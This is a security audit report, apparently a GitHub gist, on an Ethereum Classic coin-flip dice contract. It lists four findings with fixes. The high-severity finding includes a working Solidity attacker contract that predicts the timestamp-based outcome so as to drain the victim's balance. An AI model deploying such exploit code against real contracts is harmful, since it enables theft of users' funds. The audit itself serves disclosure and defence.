Skip to content

Instantly share code, notes, and snippets.

@RideSolo
Last active July 7, 2018 21:46
Show Gist options
  • Save RideSolo/8faa6fc13f5f659d78970829aaf0116f to your computer and use it in GitHub Desktop.
Save RideSolo/8faa6fc13f5f659d78970829aaf0116f to your computer and use it in GitHub Desktop.

ETC Dice audit report

1. Summary

This document is a security audit report performed by RideSolo, where Dice Game has been reviewed.

The audited smart contract is a simple Dapp where the developer simulate a coin flip to let the player either win and get back an extra percentage of his bet or loose the ethers sent to the implemented function. The contract has been deployed on ETC blockchain.

2. In scope

3. Findings

In total, 4 issues:

  • 1 high severity issue.
  • 1 medium severity issue.
  • 2 low severity issues.

3.1. Results Precomputation

Severity: high

Description

The outcome of the coin flip function can be predicted when using PRNGs based on actual block variables, in this case the PRNG is block.timestamp % 2.

An attacker can deploy a smart contract and precompute the results before calling FlipCoin making his chances to win to be 100%, here is an example bellow:

contract AttackerContract {
    address victim = /* victim smart contract address */;
    address owner ;
    uint percentage = /* same value as in the victim contract */;

    constructor() payable {
        owner = msg.sender;   
    }
    
    function attackVictim() {
        if(block.timestamp%2 == 0) {
            uint bet_value = victim.balance * 100 / percentage;
            if(bet_value > this.balance)  CoinFlip(victim).FlipCoin.value(this.balance)();
            else{
                CoinFlip(victim).FlipCoin.value(bet_value)();
            }
        }
    }
    
    function() payable{}
    
    function kill() public {
        if(owner == msg.sender) {
            selfdestruct(owner);
        }
    }
}

Simply by deploying the AttackerContract, sending some ethers to it and calling the attackVictim function multiple times, the attacker will completely empty the victim balance.

Code snippet

https://github.com/craz3049/etc-dice-game/blob/b3bb9ec5a4d893bf2606c7608940cd1bcd24e40c/dice1.sol#L22#L40

Recommendation

  • One Recommended sollution is to check if the function caller is a contract address or not, by adding the following code to the function:
    assembly {
        size := extcodesize(msg.sender)
    }
    if(size==0) {
    ..... ; // procede with the code excution
    } else throw; // the function caller is a contract and therefore cannot be trusted.
  • Another recommended solution is the same as in [issue number 2](#3.2. Timestamp Manipulation).

3.2. Timestamp Manipulation

Severity: medium

Description

block.timestamp is set by the miners when succesfully mining a block and therefore can be manipulated by a malicious node. This represent a risk in some special circumstances.

Code snippet

https://github.com/craz3049/etc-dice-game/blob/b3bb9ec5a4d893bf2606c7608940cd1bcd24e40c/dice1.sol#L23

Recommendation

A recommended approach will be to use a future blockhash as seed for the PRNG, by splitting the process into two diffrent functions.

The first function will be called by the player to save a specific future block number let it be blk_future = block.number + x to be used to get the blockhash where x > 0 . The second function will be called by the player after that the blk_future block is mined and uses its blockhash as a seed for the PRNG.

Important note:

  • Keep in mind that the second function has to be called within blk_future + 256 block otherwise the blockhash will be equal to zero, therefore predictable.
  • Always use state variables to save the players balances and contract balance, a possible situation will be if the contract balance is empty and the player call the second function and he wins. The developers have to think about how to hanldle this situation.
  • If this solution is adopted by the developers, the contract reward should be less than the block reward otherwise a miner can choose to not mine the blk_future block if the blockhash doesn't allow him to win.

3.3. Misuse of the member balance

Severity: low

Description

The value of balance member in payable methods is increased by msg.value before that the function itself is executed, therefore the condition if(this.balance < ((msg.value*payPercentaje)/100)) will always be false.

Code snippet

https://github.com/craz3049/etc-dice-game/blob/b3bb9ec5a4d893bf2606c7608940cd1bcd24e40c/dice1.sol#L24

Recommendation

Declare a state variable and use it to track the contract balance instead of using this.balance, or reformulate the condition.

3.4. State variable owner not set

Severity: low

Description

The state variable owner is not set inside the contract constructor function. kill cannot be called so the contract balance will remain available for the players.

Code snippet

https://github.com/craz3049/etc-dice-game/blob/b3bb9ec5a4d893bf2606c7608940cd1bcd24e40c/dice1.sol#L5

Recommendation

Set the state variable owner inside the constructor by assigning msg.sender value to it.

4. Conclusion

One critical issue has been found, leading to a direct exploit of the contract. A medium issue was also highlighted, concerning the possibility of miners manipulating the block variables which can raise their chances to win. Others low severity issues have been described that have to be fixed for a proper operability of the contract.

This contract is not safe, the highlighted critical issue has to be fixed immediately.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment